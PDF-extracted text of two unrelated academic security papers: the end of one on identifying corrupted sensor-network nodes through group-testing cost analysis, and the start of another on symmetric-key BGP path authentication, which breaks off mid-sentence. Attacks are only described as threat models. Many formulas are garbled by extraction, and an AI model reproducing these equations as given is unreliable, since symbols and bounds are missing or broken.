Algorithm 3. Aggregate Update in Round i
Input: Aggregate Ψi−1 from round i−1, set {Ψ [j]} of the aggregates of all pure partitions
from round i.
Output: Aggregate Ψi of round i, where Ψi = Ψi−1 +

�
j Ψ [j].

3.3 Security Analysis

In the following, we first show the correctness of the proposed algorithm and in
Section 4, we propose a mathematical framework to analyze the communication
cost associated with providing our security solution.
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Theorem 1. Given an input set of nodes N and partition degree m, Algorithm
1 outputs two resulting sets of corrupt nodes M and of good nodes G, M∪G = N .

– (Completeness) If corrupt node v ∈ N , then v ∈ M , i.e. no false negatives.
– (Soundness) If node v ∈ M , then v is corrupt, i.e. no false positives.

Proof. Let T be the identification tree that Algorithm 1 generates. For any
corrupted node v ∈ N , any vertex u in T which contains v, tests impure. This
is because a corrupted node is persistently malicious and the partition test t(·)
is perfect (i.e., the test result is always correct). Each impure vertex in T is
either divided into smaller partitions if it is a non-singleton set, or is added to
the set M if it is a singleton set. Since the algorithm converges when t = 0 or
when there are no more impure non-singleton partitions, then by convergence
time the algorithm must have found all corrupt nodes and added them to set
M . Thus the algorithm is complete.

Additionally, the algorithm is sound since if node v ∈ M , then there exists a
vertex u in identification tree T which is associated with a singleton set {v} and
that {v} is impure. Thus v must be malicious.

Corollary 1. Algorithm 1 isolates all c corrupt nodes within �logm |N |� rounds.

We refer the reader to [12] for details of the proof.

4 A Theoretical Model for Cost Analysis

In this section, we derive the cost associated with the security guarantees of the
proposed protocol. We first formulate the communication cost in terms of an
optimization problem. We then analytically solve this problem by introducing a
novel mathematical framework, inspired by [5,6] and evaluate our results using
an example network of 4096 nodes. For a complete analysis of the problem,
finally we look at the best and average case cost of the system.

The link cost of the algorithm is a function of the number of partitions that are
generated in each round (referred to as partition cost) as well as the aggregation-
verification cost of each partition (referred to as the test cost of each partition).
It is important to distinguish between the two costs because partition cost is
characterized solely by the identification algorithm, whereas test cost is a func-
tion of the aggregation-verification primitive adopted and can be improved upon.
We emphasize that the total cost derived in this section are based on the use of
GSHIA as our primitive.

4.1 Cost Upper Bound Definition

Let N be a network instance with c corrupted nodes, N ∈ Nc, input to the algo-
rithm and let the algorithm terminate in τ = �logm |N |� rounds. Let P (i, m, N)
denote the number of partitions in round i where each partition is of size
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T (j, m, N), j = 1, · · · , P (i, m, N). We formulate the total communication cost
G(m, N, c) of the algorithm as:

G(m, N, c) =

τ�
i=0

P (i,m,N)�
j=1

T (j, m, N) (1)

Worst case cost of the algorithm is the maximum cost of the algorithm for all
distributions of c corrupt nodes in the network:

G(m, c) = max
N∈Nc

C(m, N, c) (2)

The optimization problem for the identification algorithm is defines as:

G(c) = min
m>1

G(m, c) (3)

The parameters which achieve G(c) are called the minimax parameters of the
identification algorithm. The goal of the network administrator is to find the
minimax parameter m for a given network N without knowing the number of
corrupt nodes c.

In the following, we present some results relating m with partition cost. This
is of particular interest as our results can be applied to other divide-and-conquer
algorithms. In fact the isolated problem of optimizing partition cost is equivalent
to an instance of combinatorial group testing problem, where the number of
defectives is unknown and we optimize the algorithm to minimize the number of
tests performed. Inspired by group testing results for m = 2 [4], we extend the
results for the general m-ary case. To the best of our knowledge this is the first
time the m-ary case has been considered.

4.2 Results

Upper Bound When n is a Power of m. We first prove the upper bound of
the partition cost for different m-ary identification algorithms, where the number
of nodes in the network n is a power of m and then compute the upper bound
of the total cost of the identification scheme when n is a power of m.

Theorem 2. Let n be a power of m > 1. Then for c corrupted nodes in n
nodes, 1 ≤ c ≤ n, the number of partitions generated is tightly upper bounded by

m
1−m + mc(log n

c + 1
m−1 ).

Proof. Let T be the m-ary identification tree whose root vertex is associated with
a set of size n, which is a power of m. According to the algorithm, every internal
vertex must be associated with an impure set and there must exist exactly c
impure leaves. We sum up the total number of pure leaves in T as follows. Let
u denote the height of tree T , u = logm n. Each level i has mi−1 vertices, where
at most c are impure. Level v = �log c	 is the first level with at least c vertices
and let w = v − log c. The total number of impure nodes γ in T is:

γ =

v�
i=1

mi−1 + c(u − v + 1) =
(1 − mv)

1 − m
+ c(log n − (w − log c) + 1)

=
1

1 − m
+ c(log

n

c
− w + 1 − mw

1 − m
) ≤ 1

1 − m
+ c(log

n

c
+

m

m − 1
)
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since 0 ≤ w < 1 and f(w) = −w − mw

1−m is a convex function. For 0 ≤ w ≤ 1,
f(w) is maximized at w = 0, 1, where f(0) = f(1) = 1

m−1 . Thus there are at
most γ − c = 1

1−m + c(log n
c + 1

m−1 ) impure internal nodes in T . Each internal
node has exactly m children, so T has at most m

1−m + mc(log n
c + 1

m−1 ) nodes.

Theorem 3. Let n be a power of m > 1. Then for c corrupted nodes in the n
nodes, 1 ≤ c ≤ n/m, the total cost G(m, n, c) of the identification algorithm is
upper bounded by

∑u
i=1 H [i] where H is a sequence of length u = �logm n	:

H [i] =
{

mi−1(log n
mi−1 + 1) if i < v

mc (log n
mi−1 + 1), if i ≥ v

(4)

where v = �logm c	 and log denotes log2.

Proof. Let tree T be the m-ary identification tree whose root vertex is associated
with a set of size n. Let sequence element H [i] represent the total cost of the
identification algorithm in level i of the identification tree T . Each level i of T
has mi−1 vertices, where at most c are impure. Also each vertex at level i has
exactly n

mi−1 nodes. Level v of T is the first level where T has at least c vertices.
Therefore at level i < v, all mi−1 vertices are impure. Since each test has a cost
of at most (log p + m), where p is the number of nodes tested, the total cost of
each level i < v is upper bounded by mi−1(log n

mi−1 + m). Now consider level
i ≥ v. Then each level has at most mc impure nodes of size mi−1. Therefore
total cost of each level i ≥ v is upper bounded by mc(log n

mi−1 + m).

Upper bound when n is not a power of m. In the general case when n is
not a power of m, we cannot use the approach of [4] (solved for m = 2) as the
number of possible ways the corrupted nodes are distributed within each subtree
explodes (analogous to the combinatorial, ball in the bucket problem). Instead we
propose a novel model, inspired by the work of Fiat and Tassa [6] in the context of
dynamic traitor tracing (DTT)1. We introduce the notion of a path trace, defined
with respect to a particular corrupted node. The path trace traces the identifica-
tion path of that node in the identification tree T . Informally we say a path trace
D for corrupted node u is rooted at the vertex v in tree T that the identification
algorithm separates it from the other corrupted nodes in the network. The trace
includes all the vertices in the path between v and the leaf vertex associated with
set {u}. Therefore each time an impure vertex v′ in T has more than one impure
child, then the algorithm learns that the node set at v′ contained more than one
corrupted node, and thus a new tree trace D′ is generated.

Fig. 2 shows the paths generated for an example identification tree. Note
that although a path trace is not unique to a given node, the set of path traces
generated is unique. We can therefore determine the set of path traces in a
network without associating them to a particular corrupted node.

Lemma 1. A path trace of length � generates m� partitions where there are m
partitions of sizes {m�−i}, i = 1, · · · , �.
1 The DTT model differs to ours as in each of its rounds, only one node misbehaves.
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Fig. 2. Path traces for corrupted nodes 5,8,13 and 14

Proof. The path trace is a path on an m-ary tree and each internal vertex on
the path has (m − 1) other siblings that are also tested. Also a path trace of
length � has a root vertex associated with m� nodes. Thus at level i of the path,
the vertex is associated with m�−i nodes.

Consider identification tree T generated by Algorithm 1, for n nodes.

Lemma 2. Let n = mh where h ∈ Z
+. Then define sequence P as:

P = {h, {h − 1}m−1, {h − 2}m(m−1) , {h − 3}m2(m−1), · · · } (5)

where {y}x denotes the value y repeated x times. The first c elements in P
represent the tight upper bound on the length of the path traces generated when
n contains c corrupted nodes.

Proof. Since n contains at least one corrupted node, the first path trace D1 is
rooted at the root of T and thus has length h. A new path trace is generated
any time a vertex in T contains more than one impure child. To find the upper
bound on the length of the path traces, each trace should be generated in as
early a round as possible. On level 2 of T (round 1), up to (m − 1) path traces
can be generated of length (h − 1); at level 3, up to m(m − 1) path traces can
be generated of length (h − 2), and so on. In general, in level i, up to mi(m − 1)
path traces of length (logm n − (i − 1)) can be generated. Since one path trace
is associated with each corrupted node and there are c corrupted nodes, the set
of lengths associated with the generated path traces can be represented by the
first c elements of P .

Theorem 4. Let mh−1 < n < mh where h ∈ Z
+. Then define sequence P ′ as:

P ′[i] =

�
��
��

P [i] if i < x

P [i] − 1 if (i > x & P [i] > 0)

0 otherwise
(6)

where P is the sequence defined in Equation 5 and the index x =
⌈

n−mh−1

m−1

⌉
. The

first c elements in P ′ represent the tight upper bound on the length of the path
traces generated when n contains c corrupted nodes.
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Proof. It is trivial to show that the number of internal nodes at level h − 1 is
defined by x. Then there are (mh−1−x) leaves in level (h−1) and (n−mh−1+x)
leaves in level h. To find the upper bound of the lengths of the path traces,
min(x, c) of the path traces are associated with a corrupted node at level (h+1)
and thus they correspond to the identification tree for mh nodes. The path
traces corresponding to the remaining corrupted nodes have leaves at level h
and correspond to a identification tree for mh−1 nodes.

We can use Theorem 4 to derive the tight upper bound on the total cost of the
identification algorithm. Consider identification tree T generated by
algorithm 2, for a network of n nodes. Let T contain α complete m-ary trees
and one incomplete m-ary tree, with respective depths d1, · · · , dα+1. Let P1, · · · ,
Pα+1 correspond to the set of potential path traces for each of the (α + 1) re-
spective subtrees using Lemmas 1 and 2. Then let sequence P be composed
of the non-increasing ordered set of the path traces {Pi, · · · , Pα+1}, i.e. P =
{h, (h − 1)a1 , (h − 2)a2 , · · · }, where a1, a2, · · · are dependent on the size of the
subtrees. If n contains c corrupted nodes, then the length of the generated path
traces are bounded by the first c elements in P . We can use Lemma 1 and se-
quence P to compute the size and number of the partitions that Algorithm 2
generates in the worst case and derive total cost by summing the cost of the c
path traces.

Finally we derive a closed form expression for the loose upper bound on the
total cost of the network. This is purely for the purposes of comparison of our
work with existing solutions. We refer the reader to [12] for details of the proof.

Theorem 5. For c corrupted nodes in a network of size n, the identification
algorithm has a communication link cost of O(c2 log3 n).

4.3 An Example

To gain a better intuition of the results, we compute the cost associated with
handling an adversary attack in a network of 4096 nodes (where c nodes are
compromised) and analyze the graceful degradation of the network service. For
test cost, we use the cost derived by [3] as the more efficient bound of [7] is not
a fixed cost characteristic.

Fig. 3(a) and 3(b) graph the maximum partition cost and total cost of the
m-ary identification scheme, for different m. The baseline scheme is used in the
graphs as a lower bound for when the proposed identification scheme is effective
and efficient. Fig. 3(a) verifies the intuition that for a fixed number of corrupted
nodes in the network c, the number of generated partitions increases with the
partition degree m. This increase plateaus when the the identification scheme
needs to test every single vertex on the identification tree. The performance of
the m-ary identification scheme is best shown in Fig. 3(b) where the link cost
for different m is compared with the baseline. It is clear that to optimize total
cost, a network administrator choose an appropriate partition degree depending
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(a) Partition Cost (b) Total Cost

(c) Aggregate Availability, m=2 (d) Aggregate Availability, m=4

Fig. 3.

on probability of attack, vulnerability of the network as well as the necessary
rapidity of the response (as response time is O(logm n)). Fig. 3(b) also shows
that test cost is the dominant term in total cost. This is promising as test cost
is only dependent on the cost of the aggregation-verification primitive. More
efficient primitives yield better results.

Fig. 3(d) and 3(d) shows the rate of improvement of the network service over
the course of identification. Data is normalized by only looking at the number
of nodes that contribute to the aggregate in a particular round. The maximum
available data for a network of size n with c corrupted nodes, is n−c. In particular
we note that if we fix c, as m is reduced, data becomes available in later rounds.
This is because in the worst case, the first c partitions generated are corrupt.

5 Conclusion

Adversary attacks against data aggregation in ad hoc networks can have disas-
trous results, whereby a single corrupted node can affect the perceived measure-
ments of large portions of the network by the BS. Current approaches to handling
such attacks either aim exclusively at the detection of attack or provide inefficient
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ways of identifying corrupted nodes in the network, with respect to the baseline
scheme; i.e., it is more efficient if sensor data is not aggregated at all. In this work,
we presented a group-based approach to handling adversary attacks in aggrega-
tion applications, that identifies corrupted nodes while ensuring continuous, but
gracefully degraded service during the attack period. Our analysis results in a pre-
cise cost-base characterization of when in-network aggregation retains its assumed
benefits in a sensor network operating under persistent attacks. Our scheme is
most effective when the adversary has corrupted a small fraction of the nodes in
the network. Although our work provides promising results in divide-and-conquer
handling of attacks in aggregation applications, we have assumed a simplified ad-
versary model. In the future, we plan on generalizing our model to account for
non-persistent adversaries as well as allowing for identification error to decrease
identification efficiency.
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Abstract. The Border Gateway Protocol (BGP) is the de facto inter-
domain routing protocol that connects autonomous systems (ASes). De-
spite its importance for the Internet infrastructure, BGP is vulnerable
to a variety of attacks due to lack of security mechanisms in place. Many
BGP security mechanisms have been proposed, however, none of them
has been deployed because of either high cost or high complexity. The
right trade-off between efficiency and security has been ever challenging.

In this paper, we attempt to trade-off between efficiency and secu-
rity by giving a little dose of trust to BGP routers. We present a new
flexible threat model that assumes for any path of length h, at least
one BGP router is trustworthy, where h is a parameter that can be
tuned according to security requirements. Based on this threat model,
we present two new symmetric key approaches to securing BGP: the cen-
tralized key distribution approach and the distributed key distribution
approach. Comparing our approaches to the previous SBGP scheme, our
centralized approach has a 98% improvement in signature verification.
Our distributed approach has equivalent signature generation cost as in
SBGP and an improvement of 98% in signature verification. Comparing
our approaches to the previous SPV scheme, our centralized approach
has a 42% improvement in signature generation and a 96% improvement
in signature verification. Our distributed approach has a 90% improve-
ment on signature generation cost and a 95% improvement in signature
verification cost. By combining our approaches with previous public key
approaches, it is possible to simultaneously provide an increased level of
security and reduced computation cost.

1 Introduction

The Internet consists of independently administered networks, which are called
autonomous systems (ASes). The Border Gateway Protocol (BGP) is the de facto
inter-domain routing protocol that connects ASes together [1]. BGP provides
two essential services: mapping IP prefixes onto the ASes that own them and
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the construction of source specific paths to each reachable prefix. Every BGP
router announces the IP prefixes that its AS owns in an update message and
sends the message to its neighboring BGP routers. Received update messages
are recursively concatenated with an additional AS number and propagated from
AS to AS forming a routing path, which will be used to forward traffic. When a
BGP router receives multiple paths for the same prefix, the router chooses the
best path based on multiple criteria such as path length, routing policies, etc.
For simplicity, in this paper, we use the three terms “AS”, “BGP router”, and
“router” interchangeably when there is no confusion.

The BGP update messages are undoubtedly important as they enable ASes
to construct a consistent view of the network topology. Invalid update mes-
sages may result in incorrect routing tables, which could lead to three types
of potentially disastrous consequences. First, incorrect BGP routing tables may
make a range of IP addresses unreachable, which constitutes a deny-of-service
attack. Second, incorrect BGP routing tables may make some packets to travel
through a malicious BGP router, which may launch man-in-the-middle attacks
by eavesdropping, tampering, inserting, or dropping messages. Third, incorrect
BGP routing tables may make some packets travel more hops than necessary
to reach their destination, which degrades the Internet routing performance.
However, due to the lack of security mechanisms in the current BGP protocol,
attackers may spoof or tamper BGP messages. Thus, it is critical for a recipient
AS to validate the authenticity (i.e., to detect spoofing) and integrity (i.e., to
detect message tampering) of update messages before making routing decisions.
For simplicity, in the rest of the paper, we use “BGP updates” to mean ”BGP
update messages”. We refer to the process of validating the authenticity and
integrity of BGP update messages as “BGP path validation”

Many solutions have been proposed previously for securing BGP (e.g., [2,
3, 4, 5, 6, 7, 8, 9]). However, none of them have been adopted so far due to ei-
ther high cost (such as S-BGP that extensively uses public key cryptography
operations [4]) or high complexity (such as SPV that requires complex state
maintenance and fairly large computational resources for BGP routers where
such resources are of critical value [9]). In examining previous solutions, we ob-
serve that for any given advertised path, these solutions require all nodes on that
path to validate the prefix of the path up to that node. This constitutes the root
cause of the inefficiency and complexity of previous solutions. Actually, this may
be unwarranted for every path advertisement because BGP routers are expected
to be more trustworthy than end hosts. BGP routers are typically owned by
large Internet service providers (ISPs) that have little incentive in intentional
falsification of route advertisements. Although compromising a BGP router may
be possible, compromising multiple BGP routers on the same path at the same
time by the same attacker is unlikely. In [10], based on BGP data from 40 global
ASes, Butler et al.observed that on average 67-98% percent of paths were stable
over the period of one year and over 99% paths were stable over a period of one
month. Thus, if we use a trust building approach along a particular path, then,
even a few trusted nodes can eliminate the effect of the malicious routers as we
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know that the update message would be processed by trusted routers at some
point. However, implicitly trusting all routers is also unreasonable since some
routers could be compromised.

The above observations suggest a threat model where the number of malicious
routers on any given path is limited. In particular, we consider the model where
for any path of length h, at least one BGP router is trustworthy. For ease of
presentation, consider the case where we have a trustworthy BGP router X .
Then, before advertising any path that includes X , X would have checked the
authenticity and integrity of the path up to X . If X is trustworthy, then each
subsequent node on the path, which receives the path advertisement containing
X , does not need to validate the path before X , instead, it only needs to validate
the path from X up to itself. In other words, instead of including a verification
from each node on the advertised path, it would suffice if only signatures from
X onward are used. Of course, this new scheme must accommodate the fact that
we do not know which routers are the actual trustworthy ones.

So far, we have discussed the idea of reducing the cost of validating BGP
paths by reducing the number of validation operations needed for each path. An-
other cost in BGP security is the cost of verification itself. Existing approaches
in [4,6,5] use digital signatures constructed using public key cryptography. How-
ever, such digital signatures are expensive to generate and verify, which conse-
quently degrade the performance of BGP routers [11]. The performance of BGP
routers is a critical concern as the volume of traffic passing through BGP routers
is very high [12]. Due to this fact, a BGP router needs to process update messages
in the shortest time possible to avoid route disruptions and dropping/delaying
of packets. Hence, there is a need for lightweight symmetric key based mecha-
nisms that retain the benefits of digital signatures, authentication, integrity, and
non-repudiation, while maintaining good performance of BGP routers.

Based on our above two ideas, one reducing the number of path validation
costs by adding a little bit of trust into our threat model and one reducing
the cost of each path validation by using efficient symmetric key management
schemes, we propose two new symmetric key approaches to securing BGP. The
first approach is a family of centralized key management protocols for securing
BGP, which require a trusted server for distributing keys. Each BGP router only
needs to maintain O(log2 N) keys where N is the total number of BGP routers.
The verification cost is even lower, O(log N) or less. The second approach is a
family of distributed key management protocols for securing BGP, which does
not require a trusted server for distributing keys. Distributed key management
protocols are initiated by individual senders who intend to provide authentica-
tion for their messages. The signature and verification cost in these protocols are
also O(log N). The small signature and verification cost makes these distributed
key management protocols attractive if performance is the primary concern for
BGP routers. In this paper, we evaluate the performance of our protocols against
standard public key cryptographic solutions as well as symmetric key solutions
that have been proposed for securing BGP. We show that our solutions perform
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orders of magnitude better than existing public key and symmetric cryptography
based solutions.

The rest of this paper proceeds as follows. In Section 2, we give an overview
of the BGP protocol, discuss BGP security issues, discuss previous solutions,
and present our threat model. In Section 3, we present the technical details
of our centralized key management protocols and distributed key management
protocols. Our experimental results are shown in Section 4. We analyze the
security of our proposed approaches in Section 5. We conclude in Section 6.

2 BGP Overview, Security Issues and Past Solutions

In this section, we give a brief overview of the BGP protocol [1], outline the secu-
rity issues in current BGP implementations, discuss previous work, and describe
our threat model and assumptions.

2.1 BGP Overview

A main objective of BGP is to advertise the routing path information for IP
prefixes. Towards this, BGP routers initiate TCP connections with other BGP
peers and exchange the path information in the form of BGP update messages.
For this discussion, we represent an update message as a tuple: (prefix, as path),
where the prefix denotes what the message needs to advertise or withdraw, and
the as path denotes the sequence of ASes through which this update message has
traversed. When a BGP router receives an update message, it will concatenate
the as path field of the message with its AS number and propagate the message to
other neighboring ASes. When a BGP router receives multiple paths for the same
prefix, the router chooses the best path based on its own criteria. Although BGP
update messages can be used to advertise as well as withdraw IP prefixes, without
loss of generality, we assume that update messages contain prefix advertisement.
All our discussion applies to withdraw messages as well.

Figure 1 shows the traversal of the BGP update message originated from AS
A, who owns the IP prefix 24.0.0.0/8, denoted as P. To advertise that A owns
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Fig. 1. Traversal of BGP update messages



86 B. Bruhadeshwar, S.S. Kulkarni, and A.X. Liu

prefix P, A sends (P, A) to its neighboring ASes, including B. When B receives
this message, it first updates its routing tables appropriately, then prepends its
AS number to the as path field of the tuple and sends the new update message
(P, BA) to its neighboring ASes including C and D. Proceeding in this manner,
the update message is propagated until all the ASes are aware of the path to
reach the prefix advertised by A. Note that when D receives two update messages
(P, BA) (P, CBA) for the same prefix P, in this example D chooses the shorter
path to P, which is (P, BA).

There are four major types of attacks on BGP control messages: deletion,
replay, modification, and insertion. The first two types of attacks are out of
the scope of this paper. Deleting BGP control messages seems indistinguishable
from legitimate route filtering [6]. Replay can be handled by setting expiration
time for BGP messages [6]. Hence, this paper concerns the latter two types of
attacks. BGP path insertion attacks are also called path forgery attacks, in which
an adversary forges a path. We refer both BGP path modification and forgery
attacks as BGP path falsification attacks. There are four types of BGP control
messages: open, keepalive, notification, and update. The first three are used by
BGP to establish and maintain BGP sessions with their peers. As stated by Hu
et al., these three first types of messages can be protected by a point-to-point
authentication protocol such as IPSec [13]. This paper concerns protecting the
fourth type of message, update messages. In BGP path modification attacks, an
adversary may add, remove, or alter AS numbers from the as path field of BGP
update messages.

2.2 Past Solutions for BGP Security

In [4], Kent et al.present S-BGP, a comprehensive framework for achieving secu-
rity in BGP using two Public-key Infrastructures (PKIs). One PKI is for issuing
public-key certificates to the organizations to bind addresses to organizations
and the second PKI is for issuing public-key certificates to each BGP router to
bind AS and router associations. To validate an update, the originator of the
update message signs the IP prefixes using its private-key and sends the update
to its neighboring routers. Each neighboring router validates the update message
using the several certificates produced by the originating BGP router. Upon vali-
dating the message through signature verification, the neighboring router creates
a route attestation i.e., it updates the as path field, signs it with its private key
and appends it to the original message to create the new update. Every transit
router verifies all the attached signatures and adds its own route attestation
to the update message. S-BGP places significant computation overhead on the
BGP routers since digital signature creation and verification are costly as studied
in [11] and degrades performance of the BGP routers.

In secure origin BGP(soBGP) [5], White describes a PKI based solution that
requires three public-key certificates, two of which are similar to those used in
S-BGP. In soBGP, the security related information is conveyed by a new mes-
sage type called SECURITY message. The soBGP scheme reduces the cost of
signature verification by verifying the long standing information such as address
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ownership, organizational relationships and topology, before the BGP sessions
start, and storing this information at the routers. Only the variable information
like as path are validated at run-time. However, as in S-BGP, soBGP also in-
curs significant signature verification cost and an additional cost of storing the
topology information.

In [6], Van Oorschot et al.describe the Pretty Secure BGP (psBGP) which
combines S-BGP and soBGP. This solution improves upon S-BGP by using only
one PKI and also, describes additional improvements. The semantics of psBGP
are still based on PKI and hence, are computationally expensive.

In [7], the authors describe a solution in which the BGP data exchanged by
two BGP peers is encrypted by a session key. However, this scheme still involves
expensive digital signature verification by each intermediate router. In [8,9], Hu
et al.describe schemes based on Merkle-hash trees [14, 15] and one-way hash
chains, to preserve path vector integrity for routing protocols. Although SPV
is efficient compared to public-key based solutions, it involves significant pre-
computation and state overhead.

Note that the scope of this paper is on BGP control plane security, not BGP
data plane security [16]. Recently, Hu and Mao have methods to use data plane
information to validate occurrences of IP hijacking in real time [17].

2.3 Threat Model and Assumptions

Our threat model is based on the various falsification attacks [18] on the BGP
protocol, some of which have been detailed in Section 2.1. From these attacks,
the types of falsification attacks that we address in this work are: generation
of false update messages by spoofing source IP address, insertion or deletion
of AS numbers from the as path field, and changing the order of AS numbers
in the as path field. Note that, a combination of these attacks is also possible.
We address such combined attacks as well. We assume that one or more BGP
routers could be malicious. However, we assume that there is at least one non-
malicious node along a given path of length h. We treat any misconfiguration of
BGP routers as malicious and accordingly address this from the point of view
of falsification.

3 Symmetric Key Management for Securing BGP

We examine two types of symmetric key distribution approaches for securing
BGP messages. In the first approach, a centralized controller establishes the
necessary keys among the BGP routers and hence, we call protocols using this
approach as centralized key distribution protocols. In the second approach, we
assume that a centralized controller does not exist and each AS distributes the
necessary keys to the BGP routers of other ASes. We call key distribution pro-
tocols using this approach as distributed key distribution protocols. We show the
use of both these approaches to achieve authentication in the BGP.



88 B. Bruhadeshwar, S.S. Kulkarni, and A.X. Liu

0

1

2

3

1 2 3

2,1

1,2

Fig. 2. Example square grid

3.1 Centralized Key Distribution Protocols

In this section, first, we describe the square grid key distribution protocol [19].
Then, we describe how the square grid protocol can be used to achieve security
of the BGP update messages. Finally, we describe extensions of grid protocol
that provide similar properties while reducing the number of keys compared to
the protocol in [20].

The Square Grid Protocol. In the square grid protocol [19], n users are
arranged in a logical square grid of size

√
n x

√
n. Each location, 〈i, j〉, 0 ≤

i, j <
√

n, in the grid is associated with a user u〈i,j〉 and a grid key k〈i,j〉. Each
user knows all the grid keys that are along its row and column. Additionally,
each user maintains a direct key with users in its row and column. This direct
key is not known to any other user.

Now, consider the case where user A wants to set up a session key with user
B. Let the locations of A and B be 〈j1, k1〉 and 〈j2, k2〉 respectively. In this case,
A selects the session key and encrypts it as follows. If A and B are in same
row or column, A uses the unique key between A and B for session encryption.
Otherwise, A uses an XOR of grid keys at locations 〈j1, k2〉 and 〈j2, k1〉. For
example, in Figure 2, the users marked at location 〈1, 2〉 and 〈2, 1〉 use the keys
marked with . Along with the encrypted session key, A also sends its own grid
location (in plain text) to B. The above key selection protocol ensures that, in
the absence of collusion, the key used by A cannot be derived by any other user
other than A and B. (cf. [19] for proof.)

Square Grid for Authentication in BGP. First, we focus on the problem
of authenticating the source of the advertisement. Note that the square grid
protocol is designed for secure and authenticated point-to-point communication
between two nodes. However, in BGP, the same path advertisement may be sent
to several neighbors and forwarded subsequently. Due to these reasons, for this
discussion, we assume that a given path advertisement may be possibly verified
by any AS in the network.

To use the grid protocol, each AS is assigned a logical identifier in the grid
and the corresponding keys as specified by the grid protocol. We assume that a
centralized controller has assigned the logical identifiers and the corresponding
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keys to the BGP routers. Note that, the process of key establishment can be
achieved by the use of public-keys or other similar key agreement protocols.

Now, consider the case where an AS with logical identifier 〈j1, k1〉 needs to
advertise a route 〈A1A2 . . . An〉 for prefix 24.12.0.0/8. To advertise this route,
〈j1, k1〉 signs a message consisting of 〈A1A2 . . . An〉 and 24.12.0.0/8. Towards
this end, 〈j1, k1〉 encrypts the message 〈24.12.0.0/8, 〈A1A2 . . . An〉〉 using each of
the keys it has (both direct and grid keys) separately. Subsequently, to advertise
the route, it sends a packet consisting of the following information (1) its ID,
namely 〈j1, k1〉, in plain text, (2) the route 〈A1A2 . . . An〉 and prefix 24.12.0.0/8
in plain text, and (3) a (hash value of) the message obtained by encrypting
〈24.12.0.0/8, 〈A1A2 . . . An〉〉 with each of the keys it has. This part is denoted as
the signature block of the message.

Whenever an AS receives this message, it uses the ID, say 〈j1, k1〉, associ-
ated with the message to determine which keys should be used for authentica-
tion. In particular, as specified in Section 3.1, it identifies a collection of grid
keys or a direct key that it would use if it were to communicate with an AS
with logical identifier 〈j1, k1〉. Then, using those keys separately, it encrypts
〈24.12.0.0/8, 〈A1A2 . . . An〉〉 (received in plain text), and hashes the encrypted
value. It determines if all the hash values it computed are present in the signature
block. If so, it accepts the message.

Theorem 1. The above approach ensures that when an AS accepts a message
that contains ID 〈j1, k1〉, the corresponding message is indeed sent by node
〈j1, k1〉. ��
Now, consider the network shown in Figure 1. In this figure, node B is advertising
a route BA for prefix 24.12.0.0/8. To advertise this message, as described above,
it generates the signature block and sends it to node C. Subsequently, node C
advertises the route CBA. When node E receives this message, it needs to ensure
that BA was sent by B and CBA was sent by C. This can be achieved by having
node C concatenate the signature block of B and its own signature block for
route CBA and send it to node E. Upon receiving this message, node E can
verify the route advertised by B and C.

Reducing Signature Block Size Based on Trust Between ASes. One
potential concern with the above approach is that as the length of the path
increases, the number of signature blocks also increase. In this context, we note
that while perfect authentication is desirable for BGP routing messages, the ASes
differ from individual users on the Internet. In particular, while an individual AS
may be compromised, we do not anticipate a significant misrepresentation to be
done by ASes. Hence, as discussed in Section 2.3, we consider the threat model
where at least one AS on any path of length h is trustworthy (although the
exact trustworthy AS is unknown). For sake of presentation, next, we consider
Figure 1 and let h = 2. Consider the case where node E advertises the route
ECBA and this route is received by G. Based on our assumption, either AS C
or E (or both) is trusted. Now, we show that in this case, node G does not need
to receive the signature block of B. To see this, we consider two cases:
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– E is trustworthy: In this case, AS E has verified the validity of route BA and
CBA. AS G can verify that the route ECBA is advertised by E. Since BA
is a prefix of route ECBA, node G does not need to receive the signature
block of B.

– C is trustworthy: In this case, AS C has verified the validity of route BA.
AS G can verify that CBA is indeed advertised by C using the signature
block of C. Hence, it does not need the signature block of B.

We can generalize the above scenario for arbitrary paths and arbitrary values of
h. In particular, if at least one of h consecutive ASes is trusted then the signature
blocks of the last h ASes need to be attached with the route. Moreover, if an AS
desires an additional level of security then it can request additional signature
blocks as needed from nodes in the as path (cf. [21] for details).

Storage-efficient Key Distribution Protocols. Recently, in [22, 23, 24], the
authors describe a storage efficient key distribution protocols for achieving confi-
dentiality and authentication in completely connected communication networks.
Essentially, these protocolsmaintain a higher dimension grid to reduce the number
of keys used in them. Of these the protocol in [22] uses 4 log2 N keys, the protocol
in [23] improves it to log2 N) and the protocol in [24] improves it to 1

2 log2 N +
O(log N +log log N). All these protocols provide a property similar to that of the
grid protocol. In particular, if a node sends a message that includes a signature
from each of the keys it has and the receiver verifies the signatures based on the
common keys then it can conclude that the message is authentic. Because these
protocols use grids with dimension of log N , whenever the node receives a mes-
sage, it needs to verify two signatures from each grid. The most storage efficient
protocol from these protocols is from [24]. One can choose the appropriate proto-
col depending on the type of storage and verification requirements.

3.2 Distributed Key Distribution Protocols

In distributed key distribution protocols, each node is responsible for locally gen-
erating and distributing the keys to the other users in the network. This approach
is especially useful when establishing a centralized key distribution infrastruc-
ture is difficult. In [20, 24], the authors describe key distribution protocols for
a star communication network. In star communication networks, a center node
communicates with several satellite nodes and vice-versa. The satellite nodes
do not communicate with each other. Next, we describe the key distribution
protocol from [24] and show that this protocol provides message authentication.

Optimal Key Distribution for Star Networks. In the key distribution
protocols described in [24], the center node maintains a set of k keys. Each
satellite node receives a unique subset of size l from this set. Note that, by
construction, no two satellite nodes have identical subsets of keys. We term
this protocol instance as p(k, l). Using p(k, l), authentication of messages can be
achieved in the communication as follows.
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To authenticate a message m broadcasted by the center node to the satellite
node, the center node generates authentication codes with each of the k keys.
In this context, an authentication code is a secure hash/encryption computed
using a shared symmetric key. Hence, each authentication code consists of the
message digest md of the message computed using a key held by the center.
The center appends the k authentication codes thus generated to the message
and broadcasts the resulting message. Now, when a satellite node receives this
message, it uses its subset of l keys to compute l authentication codes. The
satellite node then verifies these authentication codes with the corresponding
authentication codes sent by the center node. Note that, each satellite node
can verify only those authentication codes for which it has the corresponding
generating key.

In [24], authors have shown that given a set of n satellite nodes, maintaining
k = log n + 1/2 log log n + 1 secrets at the center node is sufficient if each node
receives k/2 keys. If each node receives k/2 keys then there exists a set of two
nodes whose collusion can reveal all the keys. Hence, to deal with this case, we
can assign each node only k/m keys where m is the level of desired collusion
resistance. For example, if we choose m = 10 then maintaining 40 keys and
letting each node receive 4 keys would allow C(40, 4) = 91390 satellite nodes.
And, this would be sufficient for BGP which currently has approximately 26000
ASes [25].

Using p(k, l) for Authentication in BGP. A BGP network with N routers
can be viewed as a collection of N star networks where each BGP router is the
center node for one of these networks. Now, each BGP router runs an instance of
